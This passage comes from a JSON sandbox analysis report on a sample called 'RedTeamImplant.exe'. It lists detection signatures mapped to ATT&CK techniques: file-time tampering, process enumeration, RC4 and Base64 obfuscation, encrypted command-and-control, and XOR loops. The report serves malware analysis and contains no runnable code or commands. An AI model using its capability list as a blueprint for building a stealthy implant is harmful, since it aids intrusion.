\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1132","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1132","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-409","type":2,"relevance":1,"name":"Contains ability to set file time (API string)","description":"file/memory contains long string with (Indicator: \"SetFileTime\"; File: \"RedTeamImplant.exe\")","description_v2":["file/memory contains long string with (Indicator: \"SetFileTime\"; File: \"RedTeamImplant.exe\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"SetFileTime\"; File: \"RedTeamImplant.exe\")"}],"origin":"File/Memory","attck_id":"T1070.006","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1070/006","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"string-145","type":2,"relevance":1,"name":"Found virtual disk drive like strings","description":"$27","description_v2":["Found string - tringexec: SundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13390625uint16uint32uint64structchan<-<-chan ValueGetACPsysmontimersefenceselect","not object objs next= jobs= goid sweep B -> % util alloc free span= prev= list=","i = code= addr= m->p= p->m=SCHED curg= ctxt: min= max= bad ts(...) m=nil base hangupkilledlistensocketCommonrdtscppopcntcmd/gonetdnsfloat32float64consolePATHEXTTuesdayJanuaryOctoberMUI_StdMUI_Dlt19531259765625invaliduintptrChanDir Value>\\\\.\\UNCforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWNcleanup:events","goid= mark s=nil (scan MB in pacer: % CPU ( zombiegc bits, j0 = head = panic: GODEBUG nmsys= locks= dying= allocs m->g0= pad1= pad2= text= minpc= value= (scan)types : type abortedCopySidWSARecvWSASendconnectsignal avx512fruntimeos/execfips140tls3destlssha1GoStringFullPathThursdaySaturdayFebruaryNovemberDecember%!Month(48828125nil PoolscavengepollDescsynctesttraceBufdeadlockraceFinipanicnilcgocheckrunnablerax rbx; Source: \"RedTeamImplant.exe\")","Found string - m=nil base hangupkilledlistensocketCommonrdtscppopcntcmd/gonetdnsfloat32float64consolePATHEXTTuesdayJanuaryOctoberMUI_StdMUI_Dlt19531259765625invaliduintptrChanDir Value>\\\\.\\UNCforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWNcleanup:events","goid= mark s=nil; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found string - tringexec: SundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13390625uint16uint32uint64structchan<-<-chan ValueGetACPsysmontimersefenceselect"},{"type":"linebreak"},{"type":"text","value":"not object objs next= jobs= goid sweep B -> % util alloc free span= prev= list="},{"type":"linebreak"},{"type":"text","value":"i = code= addr= m->p= p->m=SCHED curg= ctxt: min= max= bad ts(...) m=nil base hangupkilledlistensocketCommonrdtscppopcntcmd/gonetdnsfloat32float64consolePATHEXTTuesdayJanuaryOctoberMUI_StdMUI_Dlt19531259765625invaliduintptrChanDir Value>\\\\.\\UNCforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWNcleanup:events"},{"type":"linebreak"},{"type":"text","value":"goid= mark s=nil (scan MB in pacer: % CPU ( zombiegc bits, j0 = head = panic: GODEBUG nmsys= locks= dying= allocs m->g0= pad1= pad2= text= minpc= value= (scan)types : type abortedCopySidWSARecvWSASendconnectsignal avx512fruntimeos/execfips140tls3destlssha1GoStringFullPathThursdaySaturdayFebruaryNovemberDecember%!Month(48828125nil PoolscavengepollDescsynctesttraceBufdeadlockraceFinipanicnilcgocheckrunnablerax rbx; Source: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string - m=nil base hangupkilledlistensocketCommonrdtscppopcntcmd/gonetdnsfloat32float64consolePATHEXTTuesdayJanuaryOctoberMUI_StdMUI_Dlt19531259765625invaliduintptrChanDir Value>\\\\.\\UNCforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWNcleanup:events"},{"type":"linebreak"},{"type":"text","value":"goid= mark s=nil; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1564","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1564","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Detection/Stealthiness","identifier":"api-9","type":6,"relevance":4,"name":"Queries process information","description":"\"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1861948505 [PID: 7844]\n \"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1861957000 [PID: 7844]\n \"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1862330361 [PID: 7844]\n \"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1862337184 [PID: 7844]\n \"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1862626655 [PID: 7844]\n \"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1862633698 [PID: 7844]","description_v2":["\"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1861948505 [PID: 7844]","\"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1861957000 [PID: 7844]","\"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1862330361 [PID: 7844]","\"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1862337184 [PID: 7844]","\"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1862626655 [PID: 7844]","\"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1862633698 [PID: 7844]"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1861948505 [PID: 7844]"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1861957000 [PID: 7844]"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1862330361 [PID: 7844]"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1862337184 [PID: 7844]"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1862626655 [PID: 7844]"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" queried SystemProcessInformation at 00000000-00007844-00000C15-1862633698 [PID: 7844]"}],"origin":"API Call","attck_id":"T1057","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1057","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Cryptographic Related","identifier":"string-438","type":2,"relevance":3,"name":"Contains ability to perform AES/RC4 encryption (API string)","description":"file/memory contains long string with (Indicator: \"CertCloseStore\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"CryptReleaseContext\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"CertOpenSystemStore\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"CryptAcquireContext\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"CertFreeCertificateContext\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"CertEnumCertificatesInStore\"; File: \"RedTeamImplant.exe\")","description_v2":["file/memory contains long string with (Indicator: \"CertCloseStore\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"CryptReleaseContext\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"CertOpenSystemStore\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"CryptAcquireContext\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"CertFreeCertificateContext\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"CertEnumCertificatesInStore\"; File: \"RedTeamImplant.exe\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"CertCloseStore\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"CryptReleaseContext\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"CertOpenSystemStore\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"CryptAcquireContext\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"CertFreeCertificateContext\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"CertEnumCertificatesInStore\"; File: \"RedTeamImplant.exe\")"}],"origin":"File/Memory","attck_id":"T1027","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Cryptographic Related","identifier":"summary-32","type":15,"relevance":1,"name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Commandline contains long base64 encoded string\n Matched sigs: YARA signature match - RC4 Encryption\n Matched sigs: YARA signature match - PowerShell with Base64 encoding","description_v2":["The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding","Matched sigs: Commandline contains long base64 encoded string","Matched sigs: YARA signature match - RC4 Encryption","Matched sigs: YARA signature match - PowerShell with Base64 encoding"],"description_v3":[{"type":"text","value":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Commandline contains long base64 encoded string"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: YARA signature match - RC4 Encryption"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: YARA signature match - PowerShell with Base64 encoding"}],"origin":"Indicator Combinations","attck_id":"T1140","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1140","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Cryptographic Related","identifier":"summary-28","type":15,"relevance":1,"name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to perform AES/RC4 encryption (API string)\n Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Commandline contains long base64 encoded string\n Matched sigs: YARA signature match - RC4 Encryption\n Matched sigs: YARA signature match - PowerShell with Base64 encoding","description_v2":["The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings","Matched sigs: Contains ability to perform AES/RC4 encryption (API string)","Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider","Matched sigs: Contains ability to perform Base64 encoding/decoding","Matched sigs: Commandline contains long base64 encoded string","Matched sigs: YARA signature match - RC4 Encryption","Matched sigs: YARA signature match - PowerShell with Base64 encoding"],"description_v3":[{"type":"text","value":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Contains ability to perform AES/RC4 encryption (API string)"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Contains ability to perform Base64 encoding/decoding"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Commandline contains long base64 encoded string"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: YARA signature match - RC4 Encryption"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: YARA signature match - PowerShell with Base64 encoding"}],"origin":"Indicator Combinations","attck_id":"T1027","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Cryptographic Related","identifier":"summary-31","type":15,"relevance":1,"name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - RC4 Encryption","description_v2":["The analysis shows use of encryption","use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - RC4 Encryption"],"description_v3":[{"type":"text","value":"The analysis shows use of encryption"},{"type":"linebreak"},{"type":"text","value":"use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - RC4 Encryption"}],"origin":"Indicator Combinations","attck_id":"T1573.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1573/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Cryptographic Related","identifier":"binary-92","type":8,"relevance":0,"name":"XOR operations in executable file detected","description":"$28","description_v2":["Found XOR loop in file \"sample.bin\" at offset 93266; code bytes = 30d0","Found XOR loop in file \"sample.bin\" at offset 808076; code bytes = 30d0","Found XOR loop in file \"sample.bin\" at offset 1519080; code bytes = 30d0","Found XOR loop in file \"sample.bin\" at offset 693481; code bytes = 33c1","Found XOR loop in file \"sample.bin\" at offset 1599485; code bytes = 33c1","Found XOR loop in file \"sample.bin\" at offset 191894; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 230473; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 230833; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 231233; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 233395; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 256561; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 276688; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 426405; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 427101; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 427742; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 438121; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 453100; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 843664; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 853968; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 860600; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 867032; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 871064; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 871072; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 874240; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 874336; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 875208; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 875400; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 905056; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 909696; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 919456; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 927832; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 932776; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 933400; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 933424; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 942408; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 944960; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 945240; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 945264; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 948392; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 948416; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 949496; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 953760; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 955680; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 957128; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 957152; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 957176; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 957200; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 957224; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 957248; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 957272; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 957296; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 957320; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 957344; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 957368; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 959120; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 959432; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 959456; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 959480; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 959504; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 959528; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 962472; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 962496; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 963040; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 964880; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 964904; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 967064; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 967136; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 967448; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 976576; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 980192; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 980216; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 980288; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 980480; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 980576; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 982280; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 982688; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 982712; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 983168; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 983312; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 985528; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 1356190; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 1629048; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 1803952; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 1887972; code bytes = 8030","Found XOR loop in file \"sample.bin\" at offset 1889868; code bytes = 8030"],"description_v3":[{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 93266; code bytes = 30d0"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 808076; code bytes = 30d0"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 1519080; code bytes = 30d0"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 693481; code bytes = 33c1"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 1599485; code bytes = 33c1"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 191894; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 230473; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 230833; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 231233; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 233395; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 256561; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 276688; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 426405; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 427101; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 427742; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 438121; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 453100; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 843664; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 853968; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 860600; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 867032; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 871064; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 871072; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 874240; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 874336; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 875208; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 875400; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 905056; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 909696; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 919456; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 927832; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 932776; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 933400; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 933424; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 942408; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 944960; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 945240; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 945264; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 948392; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 948416; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 949496; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 953760; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 955680; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 957128; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 957152; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 957176; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 957200; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 957224; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 957248; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 957272; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 957296; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 957320; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 957344; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 957368; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 959120; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 959432; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 959456; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 959480; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 959504; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 959528; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 962472; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 962496; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 963040; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 964880; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 964904; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 967064; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 967136; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 967448; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 976576; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 980192; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 980216; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 980288; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 980480; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 980576; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 982280; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 982688; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 982712; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 983168; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 983312; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 985528; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 1356190; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 1629048; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 1803952; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 1887972; code bytes = 8030"},{"type":"linebreak"},{"type":"text","value":"Found XOR loop in file \"sample.bin\" at offset 1889868; code bytes = 8030"}],"origin":"Binary File","attck_id":"T1027.005","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027/005","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-937","type":2,"relevance":1,"name":"Able to gather system information (.NET)","description":"file/memory contains long string(Source: 